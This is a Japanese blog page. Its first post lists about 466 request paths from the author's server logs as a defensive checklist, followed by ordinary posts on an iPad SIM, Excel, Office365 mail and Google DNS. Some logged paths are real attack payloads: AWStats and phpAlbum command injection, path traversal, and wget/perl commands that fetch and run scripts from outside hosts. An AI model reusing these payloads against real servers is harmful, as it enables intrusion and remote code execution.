不正アクセス防止のための狙われるアクセス先リスト

自宅サーバーやVPSなどで自分でWEBサーバーを構築するのはいいが、ネックになるのはセキュリティの部分。

自作のプログラムを設置して動かしているならば、WEBサーバーとしての基礎となるApacheやMySQL、PHP等の脆弱性を突かれない限りは気にする部分が限られてくるので管理はらくだけれども、MySQLをGUIで管理するためのphpMyAdminやPostgreSQLをGUIで管理するためのphppgadminを入れて運用するのが一般的。その都度削除してインストールし直すなんて面倒ですよね。

WordPressやMovableTypeなんかも ダウンロード→解凍→インストール という作業が簡単になっていますし、言われるがままに入れてしまうので特に危なかったりします。

まさか自分のサイトがウイルスの配布場所になっていたなんて、予想もしてないことが起こってしまうことがあるのです。

「セキュリティ対策が万全じゃないとWEBサーバーは公開してはいけない」という決まりはないし、手軽に公開できるようになったからこそ、自分なりに出来る限りの対策をすることは求められることでしょう。モラルにちかいのかな

一番手っ取り早いのが、最初から指定(作成)されるフォルダ名を変更してインストールする方法です。ピンポイントに狙われた際はどうしようもないことも多いですが、大手サイトじゃない限りはピンポイントで狙っても効果が薄いので、一般的なサーバーに関しては迷惑メールやウイルス配布用のサーバー機として利用されることが多くなります。

攻撃者はあらゆるグローバルIPアドレスに向かって自動巡回で「どこかに穴が開いてるサーバーはないかな」と仕掛けてきます。

下記が私の持っているサーバーのログから出力した自動巡回で投げられてきたアクセス場所です。もちろん該当箇所はないので404NotFoundは返されていますが、攻撃者は1箇所でも正常アクセスできる場所が見つかればそこからつついきますので、下記のリストを元に自分のサーバーのフォルダ構成を見直してみるのもいいのではないでしょうか。

 

【アクセスリスト】466件(2012/01/06更新)
/2phpmyadmin/
/3rdparty/phpMyAdmin/scripts/setup.php
/Admin/scripts/setup.php
/Horde/README
/MyAdmin/
/MyAdmin/scripts/setup.php
/MyAdmin9/scripts/setup.php
/MySQLAdmin/scripts/setup.php
/PHPMYADMIN/config/config.inc.php?p=phpinfo();
/PHPMYADMIN/scripts/setup.php
/PMA/
/PMA/main.php
/PMA/scripts/setup.php
/PMA2005/scripts/setup.php
/README
/SQL/scripts/setup.php
/SSLMySQLAdmin/scripts/setup.php
/SnapshotJPEG?Resolution=640×480&Quality=Clarity
/_admin/pma/scripts/setup.php
/_admin/scripts/setup.php
/_myadmin/scripts/setup.php
/_phpMyAdmin/scripts/setup.php
/_phpmyadmin/scripts/setup.php
/_scripts/setup.php
/admin/
/admin/config/config.inc.php?p=phpinfo();
/admin/cp/tools/pma/scripts/setup.php
/admin/database/main.php
/admin/datenbank/main.php
/admin/db/
/admin/db/main.php
/admin/index.php
/admin/main.php
/admin/myadmin/main.php
/admin/mysql-admin/main.php
/admin/mysql/main.php
/admin/mysql/scripts/setup.php
/admin/mysqladmin/main.php
/admin/pMA/
/admin/pMA/main.php
/admin/padmin/main.php
/admin/php-my-admin/main.php
/admin/phpMyAdmin-2.2.3/main.php
/admin/phpMyAdmin-2.2.6/main.php
/admin/phpMyAdmin-2.5.1/main.php
/admin/phpMyAdmin-2.5.4/main.php
/admin/phpMyAdmin-2.5.6/main.php
/admin/phpMyAdmin-2.6.0-pl1/main.php
/admin/phpMyAdmin-2.6.0/main.php
/admin/phpMyAdmin-2.6.2-rc1/main.php
/admin/phpMyAdmin-2.6.3-pl1/main.php
/admin/phpMyAdmin-2.6.3-rc1/main.php
/admin/phpMyAdmin-2.6.3/main.php
/admin/phpMyAdmin/
/admin/phpMyAdmin/main.php
/admin/phpmyadmin/
/admin/phpmyadmin/index.php
/admin/phpmyadmin/main.php
/admin/phpmyadmin/scripts/setup.php
/admin/phpmyadmin2/main.php
/admin/pma/index.php
/admin/pma/scripts/setup.php
/admin/scripts/setup.php
/admin/sqladmin/
/admin/sqladmin/main.php
/admin/sqlweb/main.php
/admin/sysadmin/
/admin/sysadmin/main.php
/admin/web/
/admin/web/main.php
/admin/webadmin/main.php
/admin/webdb/main.php
/admin/websql/main.php
/administrator/PMA/
/administrator/admin/
/administrator/db/
/administrator/phpMyAdmin/
/administrator/phpmyadmin/
/administrator/phpmyadmin/scripts/setup.php
/administrator/pma/
/administrator/web/
/admm/scripts/setup.php
/admn/scripts/setup.php
/appConf.htm
/apps/phpAlbum/main.php?cmd=setquality&var1=1%27.passthru%28%27id%27%29.%27;
/apps/phpalbum/main.php?cmd=setquality&var1=1%27.passthru%28%27id%27%29.%27;
/awstats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/awstats/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d
/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d
/awstatstotals/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d
/backup/phpMyAdmin/scripts/setup.php
/backup/phpmyadmin/scripts/setup.php
/bazapma/scripts/setup.php
/bbs/data/scripts/setup.php
/bkup/phpMyAdmin/scripts/setup.php
/bkup/phpmyadmin/scripts/setup.php
/cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/cgi-bin/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;;echo%20YYY;echo|
/cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/cgi/awstats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/cgi/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/config/config.inc.php?p=phpinfo();
/cp/tools/pma/scripts/setup.php
/cpadmin/scripts/setup.php
/cpadmindb/scripts/setup.php
/cpanelmysql/scripts/setup.php
/cpanelphpmyadmin/scripts/setup.php
/cpanelsql/scripts/setup.php
/cpdbadmin/scripts/setup.php
/cpphpmyadmin/scripts/setup.php
/cube/README
/database/
/database/database/
/database/main.php
/database/phpMyAdmin/
/database/phpMyAdmin2/
/database/phpmyadmin/
/database/phpmyadmin2/
/databaseadmin/scripts/setup.php
/datenbank/main.php
/db/
/db/db-admin/
/db/dbadmin/
/db/dbweb/
/db/index.php
/db/main.php
/db/myadmin/
/db/phpMyAdmin-2/
/db/phpMyAdmin/
/db/phpMyAdmin2/
/db/phpmyadmin/
/db/phpmyadmin2/
/db/scripts/setup.php
/db/webadmin/
/db/webdb/
/db/websql/
/dbadmin/
/dbadmin/config/config.inc.php?p=phpinfo();
/dbadmin/index.php
/dbadmin/main.php
/dbadmin/scripts/setup.php
/email/README
/epgrec/main.php
/exec/show/sip
/horde-3.0.5/README
/horde-3.0.6/README
/horde-3.0.7/README
/horde-3.0.8/README
/horde-3.0.9/README
/horde/README
/horde2/README
/horde3/README
/img/l4iw5.gif
/img/phpog5.png
/img/phprs3.png
/img/phpym1.png
/img/r4zw5.gif
/index.php?option=com_simpledownload&controller=../../../../../../../../../../../../../../../proc/self/environ%00
/mail/README
/mail/config.inc.php?p=phpinfo();
/mail2/README
/mails/README
/mailz/README
/main.php?cmd=setquality&var1=1%27.passthru%28%27id%27%29.%27;
/manager/html
/mss/README
/mss2/README
/muieblackcat
/my/phpmyadmin/scripts/setup.php
/my/scripts/setup.php
/myadmin/
/myadmin/config/config.inc.php?p=phpinfo();
/myadmin/index.php
/myadmin/main.php
/myadmin/scripts/setup.php
/mysql-admin/
/mysql-admin/main.php
/mysql-admin/scripts/setup.php
/mysql/
/mysql/admin/
/mysql/config/config.inc.php?p=phpinfo();
/mysql/db/
/mysql/dbadmin/
/mysql/index.php
/mysql/main.php
/mysql/mysqlmanager/
/mysql/pMA/
/mysql/pma/
/mysql/scripts/setup.php
/mysql/sqlmanager/
/mysql/web/
/mysqladmin/
/mysqladmin/index.php
/mysqladmin/main.php
/mysqladmin/scripts/setup.php
/mysqladminconfig/scripts/setup.php
/mysqlmanager/
/mysqlmanager/scripts/setup.php
/newmail/README
/p/m/a/scripts/setup.php
/pHpMy/scripts/setup.php
/pHpMyAdMiN/scripts/setup.php
/pMA/scripts/setup.php
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=lwp-download%20http:/freetunel.com/cgi-bin.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=perl%20/tmp/cgi-bin.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=perl%20/tmp/x.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=perl%20cgi-bin.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20–output-document%20/tmp/cgi-bin.txt%20http:/freetunel.com/cgi-bin.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20–output-document%20/tmp/x.txt%20http:/203.162.35.91/x.txt
/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20http:/freetunel.com/cgi-bin.txt
/padmin/main.php
/php-my-admin/config/config.inc.php?p=phpinfo();
/php-my-admin/index.php
/php-my-admin/main.php
/php-my-admin/scripts/setup.php
/php-myadmin/
/php-myadmin/scripts/setup.php
/php/scripts/setup.php
/phpAlbum/main.php?cmd=setquality&var1=1%27.passthru%28%27id%27%29.%27;
/phpMyA/scripts/setup.php
/phpMyAdmi/scripts/setup.php
/phpMyAdmin-2.11.4/scripts/setup.php
/phpMyAdmin-2.11.5.1-all-languages/
/phpMyAdmin-2.11.6-all-languages/
/phpMyAdmin-2.11.7.1-all-languages-utf-8-only/
/phpMyAdmin-2.11.7.1-all-languages/
/phpMyAdmin-2.11.8.1-all-languages-utf-8-only/
/phpMyAdmin-2.11.8.1-all-languages/
/phpMyAdmin-2.2.3/index.php
/phpMyAdmin-2.2.3/main.php
/phpMyAdmin-2.2.3/scripts/setup.php
/phpMyAdmin-2.2.6/index.php
/phpMyAdmin-2.2.6/main.php
/phpMyAdmin-2.2.6/scripts/setup.php
/phpMyAdmin-2.5.1/index.php
/phpMyAdmin-2.5.1/main.php
/phpMyAdmin-2.5.1/scripts/setup.php
/phpMyAdmin-2.5.4/index.php
/phpMyAdmin-2.5.4/main.php
/phpMyAdmin-2.5.4/scripts/setup.php
/phpMyAdmin-2.5.5-pl1/index.php
/phpMyAdmin-2.5.5-pl1/scripts/setup.php
/phpMyAdmin-2.5.5-rc1/index.php
/phpMyAdmin-2.5.5-rc1/scripts/setup.php
/phpMyAdmin-2.5.5-rc1config/scripts/setup.php
/phpMyAdmin-2.5.5-rc2/index.php
/phpMyAdmin-2.5.5-rc2/scripts/setup.php
/phpMyAdmin-2.5.5/index.php
/phpMyAdmin-2.5.5/scripts/setup.php
/phpMyAdmin-2.5.6-rc1/index.php
/phpMyAdmin-2.5.6-rc1/scripts/setup.php
/phpMyAdmin-2.5.6-rc2/index.php
/phpMyAdmin-2.5.6-rc2/scripts/setup.php
/phpMyAdmin-2.5.6/index.php
/phpMyAdmin-2.5.6/main.php
/phpMyAdmin-2.5.6/scripts/setup.php
/phpMyAdmin-2.5.7-pl1/index.php
/phpMyAdmin-2.5.7-pl1/scripts/setup.php
/phpMyAdmin-2.5.7/index.php
/phpMyAdmin-2.5.7/scripts/setup.php
/phpMyAdmin-2.6.0-alpha/scripts/setup.php
/phpMyAdmin-2.6.0-alpha2/scripts/setup.php
/phpMyAdmin-2.6.0-beta1/scripts/setup.php
/phpMyAdmin-2.6.0-beta2/scripts/setup.php
/phpMyAdmin-2.6.0-pl1/main.php
/phpMyAdmin-2.6.0-pl1/scripts/setup.php
/phpMyAdmin-2.6.0-pl2/scripts/setup.php
/phpMyAdmin-2.6.0-pl3/scripts/setup.php
/phpMyAdmin-2.6.0-rc1/scripts/setup.php
/phpMyAdmin-2.6.0-rc2/scripts/setup.php
/phpMyAdmin-2.6.0-rc3/scripts/setup.php
/phpMyAdmin-2.6.0/main.php
/phpMyAdmin-2.6.0/scripts/setup.php
/phpMyAdmin-2.6.1-pl1/scripts/setup.php
/phpMyAdmin-2.6.1-pl2/scripts/setup.php
/phpMyAdmin-2.6.1-pl3/scripts/setup.php
/phpMyAdmin-2.6.1-rc1/scripts/setup.php
/phpMyAdmin-2.6.1-rc2/scripts/setup.php
/phpMyAdmin-2.6.1/scripts/setup.php
/phpMyAdmin-2.6.2-beta1/scripts/setup.php
/phpMyAdmin-2.6.2-pl1/scripts/setup.php
/phpMyAdmin-2.6.2-rc1/main.php
/phpMyAdmin-2.6.2-rc1/scripts/setup.php
/phpMyAdmin-2.6.2/scripts/setup.php
/phpMyAdmin-2.6.3-pl1/main.php
/phpMyAdmin-2.6.3-pl1/scripts/setup.php
/phpMyAdmin-2.6.3-rc1/main.php
/phpMyAdmin-2.6.3-rc1/scripts/setup.php
/phpMyAdmin-2.6.3/main.php
/phpMyAdmin-2.6.3/scripts/setup.php
/phpMyAdmin-2.6.4-pl1/scripts/setup.php
/phpMyAdmin-2.6.4-pl2/scripts/setup.php
/phpMyAdmin-2.6.4-pl3/scripts/setup.php
/phpMyAdmin-2.6.4-pl4/scripts/setup.php
/phpMyAdmin-2.6.4-rc1/scripts/setup.php
/phpMyAdmin-2.6.4/scripts/setup.php
/phpMyAdmin-2.7.0-beta1/scripts/setup.php
/phpMyAdmin-2.7.0-pl1/scripts/setup.php
/phpMyAdmin-2.7.0-pl2/scripts/setup.php
/phpMyAdmin-2.7.0-rc1/scripts/setup.php
/phpMyAdmin-2.7.0/scripts/setup.php
/phpMyAdmin-2.8.0-beta1/scripts/setup.php
/phpMyAdmin-2.8.0-rc1/scripts/setup.php
/phpMyAdmin-2.8.0-rc2/scripts/setup.php
/phpMyAdmin-2.8.0.1/scripts/setup.php
/phpMyAdmin-2.8.0.2/scripts/setup.php
/phpMyAdmin-2.8.0.3/scripts/setup.php
/phpMyAdmin-2.8.0.4/scripts/setup.php
/phpMyAdmin-2.8.0/scripts/setup.php
/phpMyAdmin-2.8.1-rc1/scripts/setup.php
/phpMyAdmin-2.8.1/scripts/setup.php
/phpMyAdmin-2.8.2/scripts/setup.php
/phpMyAdmin-2/index.php
/phpMyAdmin-2/scripts/setup.php
/phpMyAdmin/
/phpMyAdmin/config/config.inc.php?p=phpinfo();
/phpMyAdmin/index.php
/phpMyAdmin/main.php
/phpMyAdmin/scripts/setup.php
/phpMyAdmin1/scripts/setup.php
/phpMyAdmin2/config.inc.php?p=phpinfo();
/phpMyAdmin2/scripts/setup.php
/phpMyAds/scripts/setup.php
/phpMyadmin/
/phpadmin/index.php
/phpadmin/phpMyAdmin-2.11.4/scripts/setup.php
/phpadmin/scripts/setup.php
/phpalbum/main.php?cmd=setquality&var1=1%27.passthru%28%27id%27%29.%27;
/phpm/scripts/setup.php
/phpmanager/scripts/setup.php
/phpmy-admin/
/phpmy-admin/scripts/setup.php
/phpmy/
/phpmy/scripts/setup.php
/phpmyAdmin/
/phpmya/scripts/setup.php
/phpmyad-sys/scripts/setup.php
/phpmyad/scripts/setup.php
/phpmyadmin/
/phpmyadmin/config/config.inc.php?p=phpinfo();
/phpmyadmin/index.php
/phpmyadmin/main.php
/phpmyadmin/scripts/setup.php
/phpmyadmin1/index.php
/phpmyadmin1/scripts/setup.php
/phpmyadmin2/
/phpmyadmin2/config.inc.php?p=phpinfo();
/phpmyadmin2/index.php
/phpmyadmin2/main.php
/phpmyadmin2/scripts/setup.php
/phpmyadmin_old/scripts/setup.php
/phpmyadmino-ld/scripts/setup.php
/phppgadmin/
/phppgadmin/config.inc.php?p=phpinfo();
/phppma/
/pma/
/pma/config/config.inc.php?p=phpinfo();
/pma/index.php
/pma/main.php
/pma/scripts/setup.php
/pma2005/scripts/setup.php
/pmy/scripts/setup.php
/program/
/published/wbsadmin/html/scripts/setup.php
/qql/
/rc/README
/rms/README
/robots.txt
/round/README
/roundcube-0.1/README
/roundcube-0.2/README
/roundcube/README
/roundcube/scripts/setup.php
/roundcubemail-0.1/README
/roundcubemail-0.2/README
/roundcubemail/README
/rss/dmm/dmm001.php?getcode=10
/rss/dmm/dmm001.php?getcode=11
/rss/dmm/dmm001.php?getcode=13
/rss/dmm/dmm001.php?getcode=14
/rss/dmm/dmm001.php?getcode=6
/rss/dmm/dmm001.php?getcode=8
/rss/dmm/dmm001.php?getcode=9
/scgi-bin/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/scgi-bin/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/scgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/scgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/scgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/scgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/scgi/awstats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/scgi/awstats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/scripts/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/scripts/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/scripts/setup.php
/sl2/data/scripts/setup.php
/sql/myadmin/
/sql/php-myadmin/
/sql/phpMyAdmin/
/sql/phpMyAdmin2/
/sql/phpmanager/
/sql/phpmy-admin/
/sql/phpmyadmin2/
/sql/scripts/setup.php
/sql/sql-admin/
/sql/sql/
/sql/sqladmin/
/sql/sqlweb/
/sql/webadmin/
/sql/webdb/
/sql/websql/
/sqladmin/scripts/setup.php
/sqlmanager/
/sqlmanager/scripts/setup.php
/sqlweb/
/sqlweb/main.php
/sqlweb/scripts/setup.php
/stat/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d
/stats/awstats.pl?configdir=|echo;echo%20YYY;uname;echo%20YYY;echo|
/stats/awstats.pl?configdir=|echo;echo%20YYYAAZ;uname;id;echo%20YYY;echo|
/test/phpmyadmin/scripts/setup.php
/tools/_phpmyadmin/scripts/setup.php
/tools/_pma/scripts/setup.php
/tools/pma/scripts/setup.php
/top.htm
/typo3/phpmyadmin/index.php
/typo3/phpmyadmin/scripts/setup.php
/undefined
/up/henk.php
/up/henko.phpkeitai.php
/user/soapCaller.bs
/vhcs2/tools/pma/scripts/setup.php
/wbsadmin/html/scripts/setup.php
/web/index.php
/web/main.php
/web/phpMyAdmin/index.php
/web/phpMyAdmin/scripts/setup.php
/web/phpmyadmin/scripts/setup.php
/web/scripts/setup.php
/webadmin/
/webadmin/main.php
/webadmin/scripts/setup.php
/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=wget%20–output-document%20/tmp/cgi-bin.txt%20http:/freetunel.com/cgi-bin.txt
/webdb/
/webdb/main.php
/webdb/scripts/setup.php
/webmail/README
/webmail/config.inc.php?p=phpinfo();
/webmail2/README
/websql/
/websql/index.php
/websql/main.php
/websql/scripts/setup.php
/wm/README
/wp-content/plugins/wp-phpmyadmin/wp-phpmyadmin/phpmyadmin/scripts/setup.php
/wp-phpmyadmin/phpmyadmin/scripts/setup.php
/wp-phpmyadmin/scripts/setup.php
/xampp/main.php
/xampp/phpmyadmin/index.php
/xampp/phpmyadmin/scripts/setup.php

 

iPadのプリペイドプランが切れた場合の再契約について

昨年、iPadを購入した際に自宅でのWiFiメインで使用するのでプリペイドプランでの契約にしていたのだが、チャージ後に360日以内に再チャージを行わないとプリペイドプランが切れてしまうことをすっかり忘れていて再契約をするはめになった。。。

再契約は簡単
○iPad取り扱いのあるソフトバンクショップに行く
※キャンペーン販売しか取り扱っていない店ではできないので要注意
○新しくSIMカードの購入手続きをする
○事務手数料は1,980円(カード引き落とし)

これだけ

本当の所要時間は30分程度なのだろうが、プリペイドプランを切らして再契約する案件なんてそうそう起こりえないらしく、ショップの人が経験がないのでここに時間が相当掛かった。

合計3時間くらいの覚悟は必要かもしれない

以下内訳
1.iPad取扱店じゃないと契約手続きができないという確認に30分
2.取扱店なのにお店の人が手続き方法を確認するのに30分
3.手続き方法を確認したはずなのにうまくいかなくて再度確認するのに45分
4.SIMカードの最終設定の通信待ちに20分
5.SIMカードを入れ込んだだけで「はい」と渡されたので「何も確認されないんですか?」とSIMカードの認識確認をお願いするつもりで伝えたら、一生懸命にプリペイド課金の手続きを2人掛かりで悩み出す5分
6.「WiFi環境にしないと無理でしょう」と教えてあげる
7.また一生懸命にプリペイド課金の手続きをし始めたので、暖かく見守る10分
8.時間が掛かったついでに「ソフトバンクWiFiってどうすればいいんですか?」と聞いてみたら、また2人掛かりで頑張ること10分
9.ソフトバンクWiFiの設定は諦めて帰る

ショップの人がソフトバンクのショップ用コールセンターみたいなところに電話で確認しようとしてるんだけど毎回15分は繋がらなくて『何も出来ない状態で待たされる』ことが長く掛かった1番の原因なんだ

気をつけようプリペイドプランの期限切れ

Excelで「このファイルは保存されていないファイルを参照しています」と出た場合の対処法

人に加工してもらったエクセルファイルを開いて、上書き保存使用とした際に「このファイルは保存されていないファイルを参照しています」とメッセージが表示された。

セルの値を見ても変な関数は使っていないし、ファイル参照も見当たらないので原因がよく分からない。
保存ができていなかった訳ではないし、セル内にエラー表示が出るわけでもないのでいいっちゃいいんだけど、ちょっと気持ち悪いので対処した。

メニューバーの 『挿入』→『名前』→『定義』
この『定義』には印刷範囲などのエクセルシートに対して設定されている定義が表示される場所なんだけど、ここに変な参照範囲が指定された定義があった。

どういう過程で入ったのかは不明だが、数値の合算をする時に一時用として新規のブックを開いて、その上で計算させた値を参照したのだと思われる。参照設定した後に「間違えた」ということでセル内を削除指定したのか行か列指定で削除したのかで参照定義だけは居残ってしまっていて、たまたま新しいブックで作り始めた「Book1」という名前の状態だったのが、反応してしまっていたみたいだ。

 

Office365で独自ドメインのメールアドレスを利用する方法(その3)

まずはOffice365で独自ドメインのDNSを移行せずにメール運用する方法のドメイン設定方法について説明しました
Office365で独自ドメインのメールアドレスを利用する方法(その1)

1ユーザー毎にメールアドレスを配布したい場合はこちら
Office365で独自ドメインのメールアドレスを利用する方法(その2)

 

メールアドレスをマルチアカウントとして運用したい場合が今回です
結論から言うとマルチアカウントは可能ですが、実運用は不便を感じる事が多いかと思います。複数のメールアドレスを使用しているということは色んな場面で使い分けているということですよね。Office365でマルチアカウント受信は可能ですが、個別のメールアドレスを送信者として設定することが出来ません。Gmailと同じ動きを期待しているとここでつまづきます。

別ユーザーを立てて、そのメールアドレスを使っての送信はできるようですが【マルチアカウントでの対応】となると今のところは難しいようです。今後の対応に期待しましょう。

送信アドレスは1つでもいいので、とにかくマルチアカウント受信をしたいという人は下記の設定をしていって下さい。

 

1.『管理者』画面からOutlookの『全般設定』をクリック

 

2.親となるメールアドレスアカウントを選んで『詳細設定』をクリック

 

3.『電子メールオプション』をクリックすると追加用のボックスが開きます

 

4.『追加』ボタンを押下します

 

5.追加したいメールアドレス名を入力します

 

6.『電子メールオプション』の欄にマルチ受信するアカウントが追加されました。

 

アカウントの追加に関してはGmailよりも早くて簡単なんですけど、受信のみのしか活用できないというのがネックになります。
ユーザーを追加することで対応しようとしても個別に月額費用が発生してしまうので、WebAppsはOffice365、メール運用はGmailでする方が安く上がるのかなと思います。

 

 

Office365で独自ドメインのメールアドレスを利用する方法(その2)

Office365で独自ドメインのメールアドレスを利用する方法(その1)で設定したOffice365に向けた独自ドメインでのメール運用設定を使って、今度は実運用に向けた設定をします。

まずはマルチアカウントを使わずに1メールアカウントに1ユーザーを追加する場合です。

 

1.『管理者』画面から『ユーザー』をクリック。『ユーザーの追加』を選びます

 

2.ユーザー名。表示名。追加したいメールアドレス名を入れて、ドメインを選択します

 

3.アクセス許可と所在地を設定

 

4.使用するライセンスの割り当てをします

 

5.『作成』ボタンを押下します

 

6.ログイン用のユーザーメールアドレスと一時パスワードが表示されるので控えましょう

 

7.ユーザーが新しく追加されたのを確認

 

8.新しく追加されたユーザーでログインするとパスワードの再設定がでます

 

9.新しく設定したパスワードで再ログイン

 

10.オプションを選んで、ちゃんとメールアドレスが設定されている念のために確認

 

11.Outlookに移動して、設定後に初めて届くメールが来ているか確認(5分くらいまたないと来ない)

 

これで新しいユーザーで独自ドメインアドレスを使用できます。管理者と分けたいときはこの設定にします。
※実際にテストメールを送信して、メールボックスへの着信確認は忘れずに!

 

 

 

 

Office365で独自ドメインのメールアドレスを利用する方法(その1)

MicrosoftのOffice365は月額600円でWord、Excel、OneNote、PowerPoint、そしてOutlookとが使えるクラウド型ので、今まではスタンドアロンでしか使えなかったOfficeがネット環境さえあればいつでもどこでも使えるという利便性の高いサービス

特にメールがWEBメール化した上にスタンドアロンのOutlookと同期できたり、スケジュールもスマートフォンやiPadと同期できる利点が凄く魅力的。
GoogleAppsを追いかけたサービスではあるけども、マイクロソフトが出したことに意味があって、資料のやりとりの上で相手がOfficeで作成したファイルとの互換性の高さはGoogleには出せないだろう。
バージョンアップもマイクロソフトが勝手にやってくれるだろうし、今までのOffice2003を使い続けていて気がついたらエクセルやワードの拡張子が変わっていて必要なときに直ぐに開けないなどの不具合も回避できると思われる。

Office365でOutlookを使用しようとした時にはデフォルトではユーザー登録をした時に与えられる『hoge@hoge.onmicrosoft.com』が基本のメールアドレスになっていて、既に持っている外部アドレスを設定しようにもGmailでは簡単に外部アドレスの設定が出来ていたのにちょっと敷居が高い仕組みになっている。

Office365にて独自ドメインでのメールを設定しようとする際にはドメインのネームサーバーをMicrosoft側に移した上で設定変更が必要になり、既に独自ドメインを利用したWEBサーバーを立てている場合でも移行後に設定をWEBサーバーのグローバルIPに向ければ問題ないのだけれど、既に快適に動いている設定を変更する覚悟はわざわざ持ちたくはない。

そこでちょっと手間は掛かるけれども独自ドメインでのメール運用だけをOffice365に持って行く方法を覚書

【条件】
・ムームードメインでドメイン管理(WEBサーバーはさくらVPSを使用)

1.管理者画面に入る

 

2.『ドメイン』をクリック

 

3.『ドメイン追加』をクリック

 

4.ドメイン指定の場所に受信したい独自ドメインを入れて『ドメインの確認』ボタンを押下

 

5.『ドメイン情報を確認しています』のメッセージをぼーっと眺める
※ドメインの管理会社を探してくれている

 

6.ドメインの確認がとれたら『次』へ

 

7.ドメインのTXTレコードに設定しないといけない値が表示されるのでコピーしてメモにとりあえずペースト
※『MS=ms*******』という値

8.ムームードメインのカスタム設定に入り、先ほどのTXTレコードの値を入れ込む

↓種別を『TXT』にすること


9.ついでにその他の細かい設定もいれておく(入れなくても動いたのだけど念のため)
※種別を『MX』にして、『ドメイン名.mail.eo.outlook.com』を入れる。優先度は『10』に
この時にトップレベルドメインの部分を「-」でつなげるようにするのがミソ
例:.comならば hoge-com.mail.eo.outlook.com
例:.netならば hoge-net.mail.eo.outlook.com

 

10.『TXT』を1つ追加して『v=spf1 include:outlook.com ~all』を入れる

 

11.Office365側に戻って『ドメインの確認』ボタンを押下
※確認中とでるのでぼーっと待つ

 

12.ドメイン名が確認されたという表示がでたら『次』へ(この画面が出れば記述内容は無視して構いません)
※確認がとれるまでに多少の時間を要する場合があります。20分~60分くらいまでは辛抱して、それでもダメなら設定を間違っている可能性があるので見直す

 

13.最終のにドメイン確認の画面が表示されます

 

14.『完了』を押下するとドメイン管理の画面になるので、設定したドメインが『アクティブ』と表示されているのを確認します

 

15.追加したドメインの左側のラジオボタンをチェックして『プロパティの表示』をクリック

 

16.『完全にデリケート済み』と出ているはずです。『DNSマネージャー』をクリックします

 

17.今回設定した独自ドメインのDNS設定が表示されます(眺めて一息つくだけです)

 

 

これでOffice365での独自ドメインのメール運用設定が完了です。
この次は受信するメールアドレスを作成します。

 

 

GoogleのDNSサーバーについて思うこと

ずいぶん前に聞こえた話なのに今になって再燃というのも不思議だなと思っていたら、「iPhoneに設定したら」というネーミングがつくので、それだけスマホが普及したということなのだろう

そもそも2009年12月に、Googleが「Google Public DNS」というサービスを公開したのが始まりで、DNSの設定に
プライマリ:8.8.8.8
セカンダリ:8.8.4.4
と設定することで、Googleの提供するDNSサーバーに名前解決が走る。ただ走るだけじゃなくて、Google先生のように「みんな使ってイイよ」と言うと沢山のサイトのURL情報が集中するので、「名前解決が早い=目的のサイトへの早く到達できる」という仕組みになっています

普通だったら。
「http://everyday-growth.com/」にアクセスすると、インターネット回線を使っているプロバイダーのDNSサーバーのAさんに「everyday-growth.comはどこにあるの?」と問い合わせにいきます。
するとAさんは「うーん?私知らないけどBさんが詳しいんじゃないかな」とBさんが住んでいる住所(IPアドレス)を教えてくれます。
Bさんの住所に尋ねにいって「everyday-growth.comはどこにあるの?」と聞くと「あぁ、それならCさんに聞けば直ぐに分かるよ」と今度はCさんの住所(IPアドレス)を教えてくれます。
Cさんのところにいくと「everyday-growth.comはこの住所(IPアドレス)だよ」と、やっと目的地の住所が分かるようになっています。

見たいページにたどり着くまでは普段も色んなDNSサーバーを経由して辿り着いているのですが、それをGoogleは膨大なバックデータを保持した上で高速なサーバーを使用することによって、【GoogleのDNSを使えば早い】という名前通りのサービスを提供しているのです。

但し、2009年のリリースの時点ではDNSサーバーは日本にはなかった事と、日本のサイトの情報が少なくキャッシュが溜まっていなかったのもあり、日本のサイトを見るのが中心であればISP系のDNSサーバーに問い合わせた方が早かったので、「GoogleがDNS公開したよ」ぐらいの話題で終わっていました。

